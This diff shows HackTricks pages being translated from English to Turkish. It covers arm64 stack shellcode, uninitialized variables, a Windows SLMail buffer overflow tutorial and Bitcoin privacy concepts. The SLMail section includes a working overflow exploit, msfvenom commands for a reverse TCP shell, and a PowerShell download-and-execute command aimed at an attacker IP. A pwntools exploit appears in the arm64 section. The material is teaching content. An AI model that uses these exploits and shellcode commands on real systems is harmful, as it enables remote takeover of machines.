- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
- 64bit, ASLR with stack address leak, write shellcode and jump to it
- 64bit, yığın adres sızıntısı ile ASLR, shellcode yaz ve ona atla
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
- 32 bit, ASLR with stack leak, write shellcode and jump to it
- 32 bit, yığın sızıntısı ile ASLR, shellcode yaz ve ona atla
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
- 32 bit, ASLR with stack leak, comparison to prevent call to exit(), overwrite variable with a value and write shellcode and jump to it
- 32 bit, yığın sızıntısı ile ASLR, exit() çağrısını önlemek için karşılaştırma, bir değişkeni bir değerle yaz ve shellcode yaz ve ona atla
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack
- arm64, ASLR yok, yığını çalıştırılabilir hale getirmek için ROP gadget ve yığında shellcode'a atla
{{#include ../../../banners/hacktricks-training.md}}

30
src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
View File

@ -2,47 +2,40 @@
{{#include ../../../banners/hacktricks-training.md}}
Find an introduction to arm64 in:
arm64'e giriş için şunu bulun:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
## Code&#x20;
```c
#include <stdio.h>
#include <unistd.h>
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
vulnerable_function();
return 0;
}
```
Compile without pie, canary and nx:
PIE, canary ve nx olmadan derleyin:
```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
```
## No ASLR & No canary - Stack Overflow&#x20;
To stop ASLR execute:
ASLR'yi durdurmak için:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
[**bof ofsetini bulmak için bu bağlantıya bakın**](../ret2win/ret2win-arm64.md#finding-the-offset).
To get the [**offset of the bof check this link**](../ret2win/ret2win-arm64.md#finding-the-offset).
Exploit:
Sömürü:
```python
from pwn import *
@ -73,9 +66,8 @@ p.send(payload)
# Drop to an interactive session
p.interactive()
```
Burada bulunması "karmaşık" olan tek şey çağrılacak yığın adresidir. Benim durumumda, gdb kullanarak bulunan adresle istismarı ürettim, ancak daha sonra bunu istismar ederken çalışmadı (çünkü yığın adresi biraz değişti).
The only "complicated" thing to find here would be the address in the stack to call. In my case I generated the exploit with the address found using gdb, but then when exploiting it it didn't work (because the stack address changed a bit).
I opened the generated **`core` file** (`gdb ./bog ./core`) and checked the real address of the start of the shellcode.
Üretilen **`core` dosyasını** açtım (`gdb ./bog ./core`) ve shellcode'un başlangıç adresini kontrol ettim.
{{#include ../../../banners/hacktricks-training.md}}

68
src/binary-exploitation/stack-overflow/uninitialized-variables.md
View File

@ -1,68 +1,66 @@
# Uninitialized Variables
# Başlatılmamış Değişkenler
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Temel Bilgiler
The core idea here is to understand what happens with **uninitialized variables as they will have the value that was already in the assigned memory to them.** Example:
Buradaki temel fikir, **başlatılmamış değişkenlerin, kendilerine atanan bellek alanında zaten bulunan değeri alacağıdır.** Örnek:
- **Function 1: `initializeVariable`**: We declare a variable `x` and assign it a value, let's say `0x1234`. This action is akin to reserving a spot in memory and putting a specific value in it.
- **Function 2: `useUninitializedVariable`**: Here, we declare another variable `y` but do not assign any value to it. In C, uninitialized variables don't automatically get set to zero. Instead, they retain whatever value was last stored at their memory location.
- **Fonksiyon 1: `initializeVariable`**: Bir `x` değişkeni tanımlıyoruz ve ona bir değer atıyoruz, diyelim ki `0x1234`. Bu işlem, bellekte bir yer ayırmaya ve oraya belirli bir değer koymaya benzer.
- **Fonksiyon 2: `useUninitializedVariable`**: Burada başka bir `y` değişkeni tanımlıyoruz ama ona herhangi bir değer atamıyoruz. C dilinde, başlatılmamış değişkenler otomatik olarak sıfıra ayarlanmıyor. Bunun yerine, en son depolanan değeri koruyorlar.
When we run these two functions **sequentially**:
Bu iki fonksiyonu **sırasıyla** çalıştırdığımızda:
1. In `initializeVariable`, `x` is assigned a value (`0x1234`), which occupies a specific memory address.
2. In `useUninitializedVariable`, `y` is declared but not assigned a value, so it takes the memory spot right after `x`. Due to not initializing `y`, it ends up "inheriting" the value from the same memory location used by `x`, because that's the last value that was there.
1. `initializeVariable` içinde, `x` bir değer (`0x1234`) alır ve bu belirli bir bellek adresini kaplar.
2. `useUninitializedVariable` içinde, `y` tanımlanır ama bir değer atanmamıştır, bu nedenle `x`'in hemen arkasındaki bellek alanını alır. `y`'yi başlatmadığımız için, `x` tarafından kullanılan aynı bellek konumundan "miras" alır, çünkü orada en son bulunan değer odur.
This behavior illustrates a key concept in low-level programming: **Memory management is crucial**, and uninitialized variables can lead to unpredictable behavior or security vulnerabilities, as they may unintentionally hold sensitive data left in memory.
Bu davranış, düşük seviyeli programlamada önemli bir kavramı gösterir: **Bellek yönetimi kritik öneme sahiptir** ve başlatılmamış değişkenler, istemeden bellek içinde kalan hassas verileri tutabilecekleri için öngörülemeyen davranışlara veya güvenlik açıklarına yol açabilir.
Uninitialized stack variables could pose several security risks like:
Başlatılmamış yığın değişkenleri birkaç güvenlik riski oluşturabilir:
- **Data Leakage**: Sensitive information such as passwords, encryption keys, or personal details can be exposed if stored in uninitialized variables, allowing attackers to potentially read this data.
- **Information Disclosure**: The contents of uninitialized variables might reveal details about the program's memory layout or internal operations, aiding attackers in developing targeted exploits.
- **Crashes and Instability**: Operations involving uninitialized variables can result in undefined behavior, leading to program crashes or unpredictable outcomes.
- **Arbitrary Code Execution**: In certain scenarios, attackers could exploit these vulnerabilities to alter the program's execution flow, enabling them to execute arbitrary code, which might include remote code execution threats.
### Example
- **Veri Sızıntısı**: Başlatılmamış değişkenlerde depolanan hassas bilgiler, şifreler, şifreleme anahtarları veya kişisel detaylar gibi bilgiler ifşa edilebilir ve bu da saldırganların bu verileri okumasına olanak tanır.
- **Bilgi Açığa Çıkması**: Başlatılmamış değişkenlerin içeriği, programın bellek düzeni veya iç işlemleri hakkında detaylar ortaya çıkarabilir ve bu da saldırganların hedeflenmiş istismarlar geliştirmesine yardımcı olabilir.
- **Çökme ve Dengesizlik**: Başlatılmamış değişkenlerle ilgili işlemler, tanımsız davranışa yol açabilir ve bu da program çökmesine veya öngörülemeyen sonuçlara neden olabilir.
- **Rastgele Kod Çalıştırma**: Belirli senaryolarda, saldırganlar bu güvenlik açıklarını kullanarak programın yürütme akışını değiştirebilir ve rastgele kod çalıştırmalarına olanak tanıyabilir; bu da uzaktan kod çalıştırma tehditlerini içerebilir.
### Örnek
```c
#include <stdio.h>
// Function to initialize and print a variable
void initializeAndPrint() {
int initializedVar = 100; // Initialize the variable
printf("Initialized Variable:\n");
printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar);
int initializedVar = 100; // Initialize the variable
printf("Initialized Variable:\n");
printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar);
}
// Function to demonstrate the behavior of an uninitialized variable
void demonstrateUninitializedVar() {
int uninitializedVar; // Declare but do not initialize
printf("Uninitialized Variable:\n");
printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar);
int uninitializedVar; // Declare but do not initialize
printf("Uninitialized Variable:\n");
printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar);
}
int main() {
printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n");
printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n");
// First, call the function that initializes its variable
initializeAndPrint();
// First, call the function that initializes its variable
initializeAndPrint();
// Then, call the function that has an uninitialized variable
demonstrateUninitializedVar();
// Then, call the function that has an uninitialized variable
demonstrateUninitializedVar();
return 0;
return 0;
}
```
#### Bu Nasıl Çalışır:
#### How This Works:
- **`initializeAndPrint` Fonksiyonu**: Bu fonksiyon bir tamsayı değişkeni `initializedVar` tanımlar, ona `100` değerini atar ve ardından değişkenin hem bellek adresini hem de değerini yazdırır. Bu adım basittir ve bir başlatılmış değişkenin nasıl davrandığını gösterir.
- **`demonstrateUninitializedVar` Fonksiyonu**: Bu fonksiyonda, bir tamsayı değişkeni `uninitializedVar` tanımlıyoruz ancak onu başlatmıyoruz. Değerini yazdırmaya çalıştığımızda, çıktı rastgele bir sayı gösterebilir. Bu sayı, o bellek konumunda daha önce bulunan veriyi temsil eder. Ortama ve derleyiciye bağlı olarak, gerçek çıktı değişebilir ve bazen güvenlik nedeniyle bazı derleyiciler değişkenleri otomatik olarak sıfıra başlatabilir, ancak buna güvenilmemelidir.
- **`main` Fonksiyonu**: `main` fonksiyonu yukarıdaki her iki fonksiyonu sırasıyla çağırarak başlatılmış bir değişken ile başlatılmamış bir değişken arasındaki farkı gösterir.
- **`initializeAndPrint` Function**: This function declares an integer variable `initializedVar`, assigns it the value `100`, and then prints both the memory address and the value of the variable. This step is straightforward and shows how an initialized variable behaves.
- **`demonstrateUninitializedVar` Function**: In this function, we declare an integer variable `uninitializedVar` without initializing it. When we attempt to print its value, the output might show a random number. This number represents whatever data was previously at that memory location. Depending on the environment and compiler, the actual output can vary, and sometimes, for safety, some compilers might automatically initialize variables to zero, though this should not be relied upon.
- **`main` Function**: The `main` function calls both of the above functions in sequence, demonstrating the contrast between an initialized variable and an uninitialized one.
## ARM64 Örneği
## ARM64 Example
This doesn't change at all in ARM64 as local variables are also managed in the stack, you can [**check this example**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) were this is shown.
Bu, ARM64'te hiç değişmez çünkü yerel değişkenler de yığında yönetilir, bunu gösteren [**bu örneği kontrol edebilirsiniz**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/).
{{#include ../../banners/hacktricks-training.md}}

146
src/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md
View File

@ -1,21 +1,18 @@
# Windows Exploiting (Basic Guide - OSCP lvl)
# Windows Exploiting (Temel Kılavuz - OSCP seviyesi)
{{#include ../banners/hacktricks-training.md}}
## **Start installing the SLMail service**
## **SLMail hizmetini kurmaya başlayın**
## Restart SLMail service
Every time you need to **restart the service SLMail** you can do it using the windows console:
## SLMail hizmetini yeniden başlatın
Her seferinde **SLMail hizmetini yeniden başlatmanız** gerektiğinde, bunu Windows konsolunu kullanarak yapabilirsiniz:
```
net start slmail
```
![](<../images/image (988).png>)
## Very basic python exploit template
## Çok temel python exploit şablonu
```python
#!/usr/bin/python
@ -27,99 +24,89 @@ port = 110
buffer = 'A' * 2700
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
print "Could not connect to "+ip+":"+port
```
## **Immunity Debugger Yazı Tipini Değiştir**
## **Change Immunity Debugger Font**
`Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` yolunu izleyin.
Go to `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
## **Attach the proces to Immunity Debugger:**
## **İşlemi Immunity Debugger'a Bağla:**
**File --> Attach**
![](<../images/image (869).png>)
**And press START button**
**Ve START butonuna basın.**
## **Send the exploit and check if EIP is affected:**
## **Exploit'i gönderin ve EIP'nin etkilenip etkilenmediğini kontrol edin:**
![](<../images/image (906).png>)
Every time you break the service you should restart it as is indicated in the beginnig of this page.
Hizmeti her kırdığınızda, bu sayfanın başında belirtildiği gibi hizmeti yeniden başlatmalısınız.
## Create a pattern to modify the EIP
## EIP'yi değiştirmek için bir desen oluşturun
The pattern should be as big as the buffer you used to broke the service previously.
Desen, daha önce hizmeti kırmak için kullandığınız tampon kadar büyük olmalıdır.
![](<../images/image (420).png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
```
Sömürünün tamponunu değiştirin ve deseni ayarlayın ve sömürüyü başlatın.
Change the buffer of the exploit and set the pattern and lauch the exploit.
A new crash should appeard, but with a different EIP address:
Yeni bir çökme görünmelidir, ancak farklı bir EIP adresi ile:
![](<../images/image (636).png>)
Check if the address was in your pattern:
Adresin deseninizde olup olmadığını kontrol edin:
![](<../images/image (418).png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
```
Görünüşe göre **buffer'ın 2606 offset'inde EIP'yi değiştirebiliriz**.
Looks like **we can modify the EIP in offset 2606** of the buffer.
Check it modifing the buffer of the exploit:
Bunu, exploit'in buffer'ını değiştirerek kontrol edin:
```
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
```
With this buffer the EIP crashed should point to 42424242 ("BBBB")
Bu tampon ile EIP çökmesi 42424242 ("BBBB")'ye işaret etmelidir.
![](<../images/image (874).png>)
![](<../images/image (92).png>)
Looks like it is working.
Görünüşe göre çalışıyor.
## Check for Shellcode space inside the stack
## Yığın içinde Shellcode alanını kontrol et
600B should be enough for any powerfull shellcode.
Lets change the bufer:
600B, herhangi bir güçlü shellcode için yeterli olmalıdır.
Tamponu değiştirelim:
```
buffer = 'A'*2606 + 'BBBB' + 'C'*600
```
launch the new exploit and check the EBP and the length of the usefull shellcode
yeni exploit'i başlatın ve EBP'yi ve kullanışlı shellcode'un uzunluğunu kontrol edin
![](<../images/image (119).png>)
![](<../images/image (879).png>)
You can see that when the vulnerability is reached, the EBP is pointing to the shellcode and that we have a lot of space to locate a shellcode here.
Zafiyetin ulaşıldığında, EBP'nin shellcode'a işaret ettiğini ve burada bir shellcode yerleştirmek için yeterli alanımız olduğunu görebilirsiniz.
In this case we have **from 0x0209A128 to 0x0209A2D6 = 430B.** Enough.
Bu durumda **0x0209A128 ile 0x0209A2D6 arasında = 430B.** Yeterli.
## Check for bad chars
Change again the buffer:
## Kötü karakterleri kontrol et
Tamponu tekrar değiştirin:
```
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
@ -141,30 +128,27 @@ badchars = (
)
buffer = 'A'*2606 + 'BBBB' + badchars
```
Kötü karakterler 0x01'de başlar çünkü 0x00 neredeyse her zaman kötüdür.
The badchars starts in 0x01 because 0x00 is almost always bad.
Bu yeni tampon ile istismarı tekrar tekrar çalıştırın, işe yaramaz olduğu tespit edilen karakterleri silin:
Execute repeatedly the exploit with this new buffer delenting the chars that are found to be useless:.
Örneğin:
For example:
In this case you can see that **you shouldn't use the char 0x0A** (nothing is saved in memory since the char 0x09).
Bu durumda **0x0A karakterini kullanmamanız gerektiğini** görebilirsiniz (0x09 karakteri nedeniyle hafızada hiçbir şey kaydedilmez).
![](<../images/image (111).png>)
In this case you can see that **the char 0x0D is avoided**:
Bu durumda **0x0D karakterinin kaçınıldığını** görebilirsiniz:
![](<../images/image (1098).png>)
## Find a JMP ESP as a return address
Using:
## Dönüş adresi olarak bir JMP ESP bulun
Kullanarak:
```
!mona modules #Get protections, look for all false except last one (Dll of SO)
```
You will **list the memory maps**. Search for some DLl that has:
Bellek haritalarını **listeleyeceksiniz**. Aşağıdaki özelliklere sahip bazı DLL'leri arayın:
- **Rebase: False**
- **SafeSEH: False**
@ -174,30 +158,25 @@ You will **list the memory maps**. Search for some DLl that has:
![](<../images/image (555).png>)
Now, inside this memory you should find some JMP ESP bytes, to do that execute:
Şimdi, bu belleğin içinde bazı JMP ESP baytları bulmalısınız, bunu yapmak için:
```
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
```
**Then, if some address is found, choose one that don't contain any badchar:**
**Sonra, eğer bir adres bulunursa, kötü karakter içermeyen birini seçin:**
![](<../images/image (605).png>)
**In this case, for example: \_0x5f4a358f**\_
## Create shellcode
**Bu durumda, örneğin: \_0x5f4a358f**\_
## Shellcode oluşturun
```
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
```
Eğer exploit çalışmıyorsa ama çalışması gerekiyorsa (ImDebg ile shellcode'a ulaşıldığını görebilirsiniz), aynı parametreler için farklı shellcode'lar oluşturmak üzere msfvenom kullanarak başka shellcode'lar yaratmayı deneyin.
If the exploit is not working but it should (you can see with ImDebg that the shellcode is reached), try to create other shellcodes (msfvenom with create different shellcodes for the same parameters).
**Add some NOPS at the beginning** of the shellcode and use it and the return address to JMP ESP, and finish the exploit:
**Shellcode'un başına bazı NOPS ekleyin** ve bunu kullanarak ve dönüş adresi ile JMP ESP yaparak exploit'i tamamlayın:
```bash
#!/usr/bin/python
@ -236,26 +215,23 @@ shellcode = (
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
print "Could not connect to "+ip+":"+port
```
> [!WARNING]
> There are shellcodes that will **overwrite themselves**, therefore it's important to always add some NOPs before the shellcode
> Kendini **üst üste yazacak** shellcode'lar vardır, bu nedenle shellcode'dan önce her zaman bazı NOP'lar eklemek önemlidir.
## Improving the shellcode
Add this parameters:
## Shellcode'u Geliştirme
Bu parametreleri ekleyin:
```bash
EXITFUNC=thread -e x86/shikata_ga_nai
```
{{#include ../banners/hacktricks-training.md}}

182
src/blockchain/blockchain-and-crypto-currencies/README.md
View File

@ -1,180 +1,176 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Concepts
## Temel Kavramlar
- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries.
- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end.
- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts.
- **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership.
- **DeFi** stands for Decentralized Finance, offering financial services without central authorities.
- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively.
- **Akıllı Sözleşmeler**, belirli koşullar yerine getirildiğinde bir blok zincirinde yürütülen programlar olarak tanımlanır ve aracılara ihtiyaç duymadan anlaşma yürütmelerini otomatikleştirir.
- **Merkeziyetsiz Uygulamalar (dApps)**, kullanıcı dostu bir ön yüz ve şeffaf, denetlenebilir bir arka uç ile akıllı sözleşmeler üzerine inşa edilir.
- **Tokenlar ve Coinler**, coinlerin dijital para olarak hizmet etmesi, tokenların ise belirli bağlamlarda değer veya mülkiyeti temsil etmesi ile ayrılır.
- **Yardımcı Tokenlar**, hizmetlere erişim sağlar ve **Güvenlik Tokenları** varlık mülkiyetini belirtir.
- **DeFi**, merkezi otoriteler olmadan finansal hizmetler sunan Merkeziyetsiz Finans anlamına gelir.
- **DEX** ve **DAO'lar**, sırasıyla Merkeziyetsiz Borsa Platformları ve Merkeziyetsiz Otonom Organizasyonlar anlamına gelir.
## Consensus Mechanisms
## Konsensüs Mekanizmaları
Consensus mechanisms ensure secure and agreed transaction validations on the blockchain:
Konsensüs mekanizmaları, blok zincirinde güvenli ve kabul edilen işlem doğrulamalarını sağlar:
- **Proof of Work (PoW)** relies on computational power for transaction verification.
- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW.
- **İş Kanıtı (PoW)**, işlem doğrulama için hesaplama gücüne dayanır.
- **Hisse Kanıtı (PoS)**, doğrulayıcıların belirli bir miktar token bulundurmasını gerektirir ve PoW'ye kıyasla enerji tüketimini azaltır.
## Bitcoin Essentials
## Bitcoin Temelleri
### Transactions
### İşlemler
Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers.
Bitcoin işlemleri, adresler arasında fon transferini içerir. İşlemler, yalnızca özel anahtarın sahibi tarafından transferlerin başlatılmasını sağlamak için dijital imzalarla doğrulanır.
#### Key Components:
#### Ana Bileşenler:
- **Multisignature Transactions** require multiple signatures to authorize a transaction.
- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules).
- **Çok İmzalı İşlemler**, bir işlemi yetkilendirmek için birden fazla imza gerektirir.
- İşlemler, **girdiler** (fon kaynağı), **çıktılar** (hedef), **ücretler** (madencilere ödenen) ve **scriptler** (işlem kuralları) içerir.
### Lightning Network
### Lightning Ağı
Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain.
Bitcoin'in ölçeklenebilirliğini artırmayı hedefler, bir kanalda birden fazla işlemi gerçekleştirerek yalnızca nihai durumu blok zincirine yayınlar.
## Bitcoin Privacy Concerns
## Bitcoin Gizlilik Endişeleri
Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users.
Gizlilik saldırıları, **Ortak Girdi Mülkiyeti** ve **UTXO Değişim Adresi Tespiti** gibi, işlem kalıplarını istismar eder. **Mikserler** ve **CoinJoin** gibi stratejiler, kullanıcılar arasındaki işlem bağlantılarını gizleyerek anonimliği artırır.
## Acquiring Bitcoins Anonymously
## Bitcoinleri Anonim Olarak Edinme
Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy.
Yöntemler arasında nakit ticareti, madencilik ve mikser kullanımı bulunur. **CoinJoin**, birden fazla işlemi karıştırarak izlenebilirliği karmaşıklaştırırken, **PayJoin** CoinJoin'leri normal işlemler olarak gizleyerek gizliliği artırır.
# Bitcoin Privacy Atacks
# Bitcoin Gizlilik Saldırıları
# Summary of Bitcoin Privacy Attacks
# Bitcoin Gizlilik Saldırıları Özeti
In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy.
Bitcoin dünyasında, işlemlerin gizliliği ve kullanıcıların anonimliği genellikle endişe konusudur. İşte saldırganların Bitcoin gizliliğini tehlikeye atabileceği birkaç yaygın yöntemin basitleştirilmiş bir özeti.
## **Common Input Ownership Assumption**
## **Ortak Girdi Mülkiyeti Varsayımı**
It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**.
Farklı kullanıcıların girdilerinin tek bir işlemde birleştirilmesi genellikle nadirdir, bu nedenle **aynı işlemdeki iki girdi adresinin genellikle aynı sahibine ait olduğu varsayılır**.
## **UTXO Change Address Detection**
## **UTXO Değişim Adresi Tespiti**
A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy.
Bir UTXO, veya **Harcanmamış İşlem Çıktısı**, bir işlemde tamamen harcanmalıdır. Eğer yalnızca bir kısmı başka bir adrese gönderilirse, geri kalan yeni bir değişim adresine gider. Gözlemciler, bu yeni adresin gönderene ait olduğunu varsayarak gizliliği tehlikeye atabilir.
### Example
### Örnek
To mitigate this, mixing services or using multiple addresses can help obscure ownership.
Bunu hafifletmek için, karıştırma hizmetleri veya birden fazla adres kullanmak mülkiyeti gizlemeye yardımcı olabilir.
## **Social Networks & Forums Exposure**
## **Sosyal Ağlar ve Forumlar Maruziyeti**
Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**.
Kullanıcılar bazen Bitcoin adreslerini çevrimiçi paylaşır, bu da **adresin sahibine bağlanmasını kolaylaştırır**.
## **Transaction Graph Analysis**
## **İşlem Grafiği Analizi**
Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds.
İşlemler, fon akışına dayalı olarak kullanıcılar arasındaki potansiyel bağlantıları ortaya çıkaran grafikler olarak görselleştirilebilir.
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
## **Gereksiz Girdi Heuristiği (Optimal Değişim Heuristiği)**
This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender.
### Example
Bu heuristik, birden fazla girdi ve çıktı içeren işlemleri analiz ederek hangi çıktının gönderene geri dönen değişim olduğunu tahmin etmeye dayanır.
### Örnek
```bash
2 btc --> 4 btc
3 btc 1 btc
```
Eğer daha fazla girdi eklemek, değişiklik çıktısını herhangi bir tek girdi kadar büyük yapıyorsa, bu heuristiği karıştırabilir.
If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.
## **Zorunlu Adres Yeniden Kullanımı**
## **Forced Address Reuse**
Saldırganlar, alıcının bunları gelecekteki işlemlerde diğer girdilerle birleştirmesini umarak, daha önce kullanılan adreslere küçük miktarlar gönderebilirler ve böylece adresleri birbirine bağlayabilirler.
Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together.
### Doğru Cüzdan Davranışı
### Correct Wallet Behavior
Cüzdanlar, bu gizlilik sızıntısını önlemek için daha önce kullanılmış, boş adreslerde alınan coinleri kullanmaktan kaçınmalıdır.
Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak.
## **Diğer Blockchain Analiz Teknikleri**
## **Other Blockchain Analysis Techniques**
- **Kesin Ödeme Miktarları:** Değişiklik olmadan yapılan işlemler, muhtemelen aynı kullanıcıya ait iki adres arasında gerçekleşir.
- **Yuvarlak Sayılar:** Bir işlemdaki yuvarlak bir sayı, bunun bir ödeme olduğunu gösterir; yuvarlak olmayan çıktı muhtemelen değişikliktir.
- **Cüzdan Parmak İzi:** Farklı cüzdanlar, analistlerin kullanılan yazılımı ve potansiyel olarak değişiklik adresini tanımlamasına olanak tanıyan benzersiz işlem oluşturma desenlerine sahiptir.
- **Miktar ve Zaman Korelasyonları:** İşlem zamanlarını veya miktarlarını açıklamak, işlemlerin izlenebilir hale gelmesine neden olabilir.
- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user.
- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change.
- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address.
- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable.
## **Trafik Analizi**
## **Traffic Analysis**
Ağ trafiğini izleyerek, saldırganlar işlemleri veya blokları IP adreslerine bağlayabilir ve kullanıcı gizliliğini tehlikeye atabilir. Bu, bir varlığın birçok Bitcoin düğümü işletmesi durumunda özellikle doğrudur ve işlemleri izleme yeteneklerini artırır.
By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions.
## Daha Fazla
## More
Gizlilik saldırıları ve savunmaları hakkında kapsamlı bir liste için [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy) adresini ziyaret edin.
For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
# Anonim Bitcoin İşlemleri
# Anonymous Bitcoin Transactions
## Bitcoinleri Anonim Olarak Elde Etmenin Yolları
## Ways to Get Bitcoins Anonymously
- **Nakit İşlemler**: Nakit ile bitcoin edinmek.
- **Nakit Alternatifleri**: Hediye kartları satın alıp bunları çevrimiçi olarak bitcoin ile değiştirmek.
- **Madencilik**: Bitcoin kazanmanın en özel yöntemi madenciliktir, özellikle yalnız yapıldığında çünkü madencilik havuzları madencinin IP adresini bilebilir. [Madencilik Havuzları Bilgisi](https://en.bitcoin.it/wiki/Pooled_mining)
- **Hırsızlık**: Teorik olarak, bitcoin çalmak anonim olarak edinmenin bir başka yöntemi olabilir, ancak bu yasadışıdır ve önerilmez.
- **Cash Transactions**: Acquiring bitcoin through cash.
- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin.
- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended.
## Karıştırma Hizmetleri
## Mixing Services
By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos.
